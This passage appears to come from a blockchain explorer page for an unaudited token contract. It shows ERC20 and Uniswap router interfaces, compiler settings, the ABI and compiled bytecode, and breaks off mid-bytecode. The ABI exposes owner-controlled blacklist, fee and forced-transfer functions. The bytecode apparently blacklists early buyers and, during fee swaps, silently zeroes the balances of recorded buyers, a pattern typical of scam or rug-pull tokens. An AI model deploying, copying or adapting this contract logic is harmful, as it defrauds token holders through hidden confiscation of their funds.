`spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 amount) external returns (bool); }
pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"FeeWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[],"name":"SwapBack","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"blacklist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"forceSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"forceSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"deadblocks","type":"uint256"}],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeFromBlacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"buyMarketingFee","type":"uint256"},{"internalType":"uint256","name":"buyLiquidityFee","type":"uint256"},{"internalType":"uint256","name":"sellMarketingFee","type":"uint256"},{"internalType":"uint256","name":"sellLiquidityFee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxTxAmount","type":"uint256"},{"internalType":"uint256","name":"_maxWallet","type":"uint256"}],"name":"updateLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040523480156200001157600080fd5b506040518060400160405280600881526020016744796e614375626560c01b815250604051806040016040528060038152602001622221a360e91b815250816003908051906020019062000067929190620003df565b5080516200007d906004906020840190620003df565b5050506200009a620000946200028a60201b60201c565b6200028e565b600780546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d1790915560088054909116905560146011819055601e601281905560138290558082556969e10de76676d080000091620000fa919062000485565b600f556014546013546200010f919062000485565b601055600980546000600a556005600b5561ffff60a81b1916600160a81b1790556103e862000140826014620004c3565b6200014c9190620004a0565b600c556103e86200015f826014620004c3565b6200016b9190620004a0565b600d55600654600980546001600160a01b0319166001600160a01b03909216919091179055612710620001a082601e620004c3565b620001ac9190620004a0565b600e55620001ce620001c66006546001600160a01b031690565b6001620002e0565b620001db306001620002e0565b620001ea61dead6001620002e0565b62000209620002016006546001600160a01b031690565b600162000349565b6200021630600162000349565b6200022561dead600162000349565b806002600082825462000239919062000485565b909155505030600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35062000538565b3390565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b620002ea6200037e565b6001600160a01b038216600081815260176020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b620003536200037e565b6001600160a01b03919091166000908152601860205260409020805460ff1916911515919091179055565b6006546001600160a01b03163314620003dd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640160405180910390fd5b565b828054620003ed90620004e5565b90600052602060002090601f0160209004810192826200041157600085556200045c565b82601f106200042c57805160ff19168380011785556200045c565b828001600101855582156200045c579182015b828111156200045c5782518255916020019190600101906200043f565b506200046a9291506200046e565b5090565b5b808211156200046a57600081556001016200046f565b600082198211156200049b576200049b62000522565b500190565b600082620004be57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615620004e057620004e062000522565b500290565b600181811c90821680620004fa57607f821691505b602082108114156200051c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6122c780620005486000396000f3fe6080604052600436106101e75760003560e01c8063a2240e1911610102578063df778d2611610095578063e8078d9411610064578063e8078d941461054b578063f2fde38b14610560578063f8b45b0514610580578063f9f92be41461059657600080fd5b8063df778d26146104f4578063e0f3ccf514610509578063e2f456051461051f578063e4748b9e1461053557600080fd5b8063c6616ba1116100d1578063c6616ba114610474578063d163364914610494578063d257b34f146104b4578063dd62ed3e146104d457600080fd5b8063a2240e19146103f4578063a457c2d714610414578063a9059cbb14610434578063c02466681461045457600080fd5b8063537df3b61161017a5780637571336a116101495780637571336a146103815780638c0b5e22146103a15780638da5cb5b146103b757806395d89b41146103df57600080fd5b8063537df3b61461030157806370a0823114610321578063715018a614610357578063751039fc1461036c57600080fd5b806323b872dd116101b657806323b872dd14610284578063313ce567146102a457806339509351146102c05780634a62bb65146102e057600080fd5b806306fdde03146101f3578063095ea7b31461021e57806312b77e8a1461024e57806318160ddd1461026557600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b506102086105c6565b604051610215919061203c565b60405180910390f35b34801561022a57600080fd5b5061023e610239366004611f75565b610658565b6040519015158152602001610215565b34801561025a57600080fd5b50610263610670565b005b34801561027157600080fd5b506002545b604051908152602001610215565b34801561029057600080fd5b5061023e61029f366004611f01565b6106ac565b3480156102b057600080fd5b5060405160128152602001610215565b3480156102cc57600080fd5b5061023e6102db366004611f75565b6106d0565b3480156102ec57600080fd5b5060095461023e90600160a81b900460ff1681565b34801561030d57600080fd5b5061026361031c366004611e87565b6106f2565b34801561032d57600080fd5b5061027661033c366004611e87565b6001600160a01b031660009081526020819052604090205490565b34801561036357600080fd5b5061026361078d565b34801561037857600080fd5b506102636107a1565b34801561038d57600080fd5b5061026361039c366004611f42565b6107b8565b3480156103ad57600080fd5b50610276600c5481565b3480156103c357600080fd5b506006546040516001600160a01b039091168152602001610215565b3480156103eb57600080fd5b506102086107eb565b34801561040057600080fd5b5061026361040f366004611fba565b6107fa565b34801561042057600080fd5b5061023e61042f366004611f75565b610930565b34801561044057600080fd5b5061023e61044f366004611f75565b6109ab565b34801561046057600080fd5b5061026361046f366004611f42565b6109b9565b34801561048057600080fd5b5061026361048f36600461200a565b610a20565b3480156104a057600080fd5b506102636104af366004611fa1565b610b08565b3480156104c057600080fd5b5061023e6104cf366004611fa1565b610b7e565b3480156104e057600080fd5b506102766104ef366004611ec8565b610cad565b34801561050057600080fd5b50610263610cd8565b34801561051557600080fd5b5061027660105481565b34801561052b57600080fd5b50610276600e5481565b34801561054157600080fd5b50610276600f5481565b34801561055757600080fd5b50610263610ce0565b34801561056c57600080fd5b5061026361057b366004611e87565b610f17565b34801561058c57600080fd5b50610276600d5481565b3480156105a257600080fd5b5061023e6105b1366004611e87565b601a6020526000908152604090205460ff1681565b6060600380546105d5906121fa565b80601f0160208091040260200160405190810160405280929190818152602001828054610601906121fa565b801561064e5780601f106106235761010080835404028352916020019161064e565b820191906000526020600020905b81548152906001019060200180831161063157829003601f168201915b5050505050905090565b600033610666818585610f8d565b5060019392505050565b6009546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156106a9573d6000803e3d6000fd5b50565b6000336106ba8582856110b1565b6106c5858585611125565b506001949350505050565b6000336106668185856106e38383610cad565b6106ed919061218a565b610f8d565b6106fa611719565b6001600160a01b0381166000908152601a602052604090205460ff16151560011461076c5760405162461bcd60e51b815260206004820152601f60248201527f4163636f756e74206973206e6f7420696e2074686520626c61636b6c6973740060448201526064015b60405180910390fd5b6001600160a01b03166000908152601a60205260409020805460ff19169055565b610795611719565b61079f6000611773565b565b6107a9611719565b6009805460ff60a81b19169055565b6107c0611719565b6001600160a01b03919091166000908152601860205260409020805460ff1916911515919091179055565b6060600480546105d5906121fa565b610802611719565b600954600160a81b900460ff1661085b5760405162461bcd60e51b815260206004820152601b60248201527f43616e6e6f74206368616e6765206174207468697320737461676500000000006044820152606401610763565b6103e861086760025490565b6108729060016121c4565b61087c91906121a2565b82116108be5760405162461bcd60e51b81526020600482015260116024820152704d617820545820697320746f6f206c6f7760781b6044820152606401610763565b6103e86108ca60025490565b6108d590600a6121c4565b6108df91906121a2565b81116109255760405162461bcd60e51b81526020600482015260156024820152744d61782077616c6c657420697320746f6f206c6f7760581b6044820152606401610763565b600c91909155600d55565b6000338161093e8286610cad565b90508381101561099e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610763565b6106c58286868403610f8d565b600033610666818585611125565b6109c1611719565b6001600160a01b038216600081815260176020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b610a28611719565b6011849055601283905560138290556014819055610a46838561218a565b600f55601454601354610a59919061218a565b601055600f5460641015610aaf5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313025206f72206c6573730000006044820152606401610763565b60646010541115610b025760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313025206f72206c6573730000006044820152606401610763565b50505050565b610b10611719565b600954600160b01b900460ff1615610b625760405162461bcd60e51b81526020600482015260156024820152742a3930b2329034b99030b63932b0b23c9037b832b760591b6044820152606401610763565b6009805460ff60b01b1916600160b01b179055600b5543600a55565b6000610b88611719565b620186a0610b9560025490565b610ba09060016121c4565b610baa91906121a2565b821015610c175760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610763565b6103e8610c2360025490565b610c2e9060056121c4565b610c3891906121a2565b821115610ca45760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610763565b50600e55600190565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61079f6117c5565b610ce8611719565b6008546001600160a01b031615610d385760405162461bcd60e51b815260206004820152601460248201527314185a5c88185b1c9958591e4818dc99585d195960621b6044820152606401610763565b600760009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8657600080fd5b505afa158015610d9a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dbe9190611eab565b6001600160a01b031663c9c6539630600760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e1b57600080fd5b505afa158015610e2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e539190611eab565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610e9b57600080fd5b505af1158015610eaf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed39190611eab565b600880546001600160a01b0319166001600160a01b03929092169182179055610efd90600161197c565b3060009081526020819052604090205461079f90476119d0565b610f1f611719565b6001600160a01b038116610f845760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610763565b6106a981611773565b6001600160a01b038316610fef5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610763565b6001600160a01b0382166110505760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610763565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006110bd8484610cad565b90506000198114610b0257818110156111185760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610763565b610b028484848403610f8d565b6001600160a01b03831661114b5760405162461bcd60e51b8152600401610763906120d4565b6001600160a01b0382166111715760405162461bcd60e51b815260040161076390612091565b6001600160a01b0383166000908152601a602052604090205460ff16156111eb5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e736665722066726f6d20626c61636b6c6973746564604482015267081858d8dbdd5b9d60c21b6064820152608401610763565b600081116112475760405162461bcd60e51b8152602060048201526024808201527f45524332303a20616d6f756e74206d75737420626520677265617465722074686044820152630616e20360e41b6064820152608401610763565b6001600160a01b03831660009081526017602052604090205460ff168061128657506001600160a01b03821660009081526017602052604090205460ff165b6112db57600954600160b01b900460ff166112db5760405162461bcd60e51b815260206004820152601560248201527454726164696e67206973206e6f742061637469766560581b6044820152606401610763565b60006015546016546112ed919061218a565b600e549091508110801590819061130e5750600954600160a01b900460ff16155b801561133357506001600160a01b03851660009081526019602052604090205460ff16155b801561135857506001600160a01b03851660009081526017602052604090205460ff16155b801561137d57506001600160a01b03841660009081526017602052604090205460ff16155b156113ab576009805460ff60a01b1916600160a01b17905561139d6117c5565b6009805460ff60a01b191690555b6009546001600160a01b03861660009081526017602052604090205460ff600160a01b9092048216159116806113f957506001600160a01b03851660009081526017602052604090205460ff165b15611402575060005b6001600160a01b03861660009081526018602052604090205460ff1615801561144457506001600160a01b03851660009081526018602052604090205460ff16155b80156114615750600954600160a81b900460ff1680156114615750805b1561154d57600c548411156114b85760405162461bcd60e51b815260206004820152601f60248201527f4d6178207472616e73616374696f6e20616d6f756e74206578636565646564006044820152606401610763565b6001600160a01b03861660009081526019602052604090205460ff161561154d57600d546001600160a01b0386166000908152602081905260409020546114ff908661218a565b111561154d5760405162461bcd60e51b815260206004820152601a60248201527f4d61782077616c6c657420616d6f756e742065786365656465640000000000006044820152606401610763565b60008115611705576001600160a01b03871660009081526019602052604090205460ff168015611583575061158186611ab4565b155b1561164757600b54600a54611598919061218a565b4310156115c3576001600160a01b0386166000908152601a60205260409020805460ff191660011790555b6103e8600f54866115d491906121c4565b6115de91906121a2565b9050600f54601254826115f191906121c4565b6115fb91906121a2565b6016600082825461160c919061218a565b9091555050600f5460115461162190836121c4565b61162b91906121a2565b6015600082825461163c919061218a565b909155506116e79050565b6001600160a01b03861660009081526019602052604090205460ff16156116e7576103e86010548661167991906121c4565b61168391906121a2565b90506010546014548261169691906121c4565b6116a091906121a2565b601660008282546116b1919061218a565b90915550506010546013546116c690836121c4565b6116d091906121a2565b601560008282546116e1919061218a565b90915550505b80156116f8576116f8873083611b25565b61170281866121e3565b94505b611710878787611b25565b50505050505050565b6006546001600160a01b0316331461079f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610763565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b30600090815260208190526040812054905060006015546016546117e9919061218a565b90508115806117f6575080155b156117ff575050565b600e5482111561180f57600e5491505b6040517f3f468fa137d8f3bc1ed0165066ae4356a2665e48e7a5fe32b9a20860a380a58790600090a160006002826016548561184b91906121c4565b61185591906121a2565b61185f91906121a2565b9050600061186d82846121e3565b90504761187982611c4f565b6009546118919030906001600160a01b031647611db8565b600061189d82476121e3565b9050600085601554836118b091906121c4565b6118ba91906121a2565b905060006118c882846121e3565b6000601681905560158190556009546040519293506001600160a01b03169184156108fc0291859190818181858888f1935050505015801561190e573d6000803e3d6000fd5b5060008611801561191f5750600081115b156119725761192e86826119d0565b601654604080518781526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b5050505050505050565b6001600160a01b038216600081815260196020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6007546119e89030906001600160a01b031684610f8d565b6007546001600160a01b031663f305d719823085600080611a116006546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015611a7457600080fd5b505af1158015611a88573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611aad9190611fdc565b5050505050565b6001600160a01b038116600090815260208190526040812054611b1d57600580546001810182556000919091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b0319166001600160a01b0384161790555b506000919050565b6001600160a01b038316611b4b5760405162461bcd60e51b8152600401610763906120d4565b6001600160a01b038216611b715760405162461bcd60e51b815260040161076390612091565b6001600160a01b03831660009081526020819052604090205481811015611be95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610763565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610b02565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611c8457611c84612266565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611cd857600080fd5b505afa158015611cec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d109190611eab565b81600181518110611d2357611d23612266565b6001600160a01b039283166020918202929092010152600754611d499130911684610f8d565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790611d82908590600090869030904290600401612119565b600060405180830381600087803b158015611d9c57600080fd5b505af1158015611db0573d6000803e3d6000fd5b505050505050565b60005b600554811015611e435760058181548110611dd857611dd8612266565b6000918252602090912001546001600160a01b03163214611e3157600080600060058481548110611e0b57611e0b612266565b60009182526020808320909101546001600160a01b031683528201929092526040019020555b80611e3b81612235565b915050611dbb565b50611e5060056000611e55565b505050565b50805460008255906000526020600020908101906106a991905b80821115611e835760008155600101611e6f565b5090565b600060208284031215611e9957600080fd5b8135611ea48161227c565b9392505050565b600060208284031215611ebd57600080fd5b8151611ea48161227c565b60008060408385031215611edb57600080fd5b8235611ee68161227c565b91506020830135611ef68161227c565b809150509250929050565b600080600060608486031215611f1657600080fd5b8335611f218161227c565b92506020840135611f318161227c565b929592945050506040919091013590565b60008060408385031215611f5557600080fd5b8235611f608161227c565b915060208301358015158114611ef657600080fd5b60008060408385031215611f8857600080fd5b8235611f938161227c565b946020939093013593505050565b600060208284031215611fb357600080fd5b5035919050565b60008060408385031215611fcd57600080fd5b50508035926020909101359150565b600080600060608486031215611ff157600080fd5b8351925060208401519150604084015190509250925092565b6000806000806080858703121561202057600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b818110156120695785810183015185820160400152820161204d565b8181111561207b576000604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156121695784516001600160a01b031683529383019391830191600101612144565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561219d5761219d612250565b500190565b6000826121bf57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156121de576121de612250565b500290565b6000828210156121f5576121f5612250565b500390565b600181811c9082168061220e57607f821691505b6020821081141561222f57634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561224957612249612250565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146106a957600080fdfea2646970667358221220ee78de9c46ddb6ea15ec3cdf4050bf4f226db0402c9afb1eca2871084928cd7c64736f6c63430008070033
Deployed Bytecode
0x6080604052600436106101e75760003560e01c8063a2240e1911610102578063df778d2611610095578063e8078d9411610064578063e8078d941461054b578063f2fde38b14610560578063f8b45b0514610580578063f9f92be41461059657600080fd5b8063df778d26146104f4578063e0f3ccf514610509578063e2f456051461051f578063e4748b9e1461053557600080fd5b8063c6616ba1116100d1578063c6616ba114610474578063d163364914610494578063d257b34f146104b4578063dd62ed3e146104d457600080fd5b8063a2240e19146103f4578063a457c2d714610414578063a9059cbb14610434578063c02466681461045457600080fd5b8063537df3b61161017a5780637571336a116101495780637571336a146103815780638c0b5e22146103a15780638da5cb5b146103b757806395d89b41146103df57600080fd5b8063537df3b61461030157806370a0823114610321578063715018a614610357578063751039fc1461036c57600080fd5b806323b872dd116101b657806323b872dd14610284578063313ce567146102a457806339509351146102c05780634a62bb65146102e057600080fd5b806306fdde03146101f3578063095ea7b31461021e57806312b77e8a1461024e57806318160ddd1461026557600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b506102086105c6565b604051610215919061203c565b60405180910390f35b34801561022a57600080fd5b5061023e610239366004611f75565b610658565b6040519015158152602001610215565b34801561025a57600080fd5b50610263610670565b005b34801561027157600080fd5b506002545b604051908152602001610215565b34801561029057600080fd5b5061023e61029f366004611f01565b6106ac565b3480156102b057600080fd5b5060405160128152602001610215565b3480156102cc57600080fd5b5061023e6102db366004611f75565b6106d0565b3480156102ec57600080fd5b5060095461023e90600160a81b900460ff1681565b34801561030d57600080fd5b5061026361031c366004611e87565b6106f2565b34801561032d57600080fd5b5061027661033c366004611e87565b6001600160a01b031660009081526020819052604090205490565b34801561036357600080fd5b5061026361078d565b34801561037857600080fd5b506102636107a1565b34801561038d57600080fd5b5061026361039c366004611f42565b6107b8565b3480156103ad57600080fd5b50610276600c5481565b3480156103c357600080fd5b506006546040516001600160a01b039091168152602001610215565b3480156103eb57600080fd5b506102086107eb565b34801561040057600080fd5b5061026361040f366004611fba565b6107fa565b34801561042057600080fd5b5061023e61042f366004611f75565b610930565b34801561044057600080fd5b5061023e61044f366004611f75565b6109a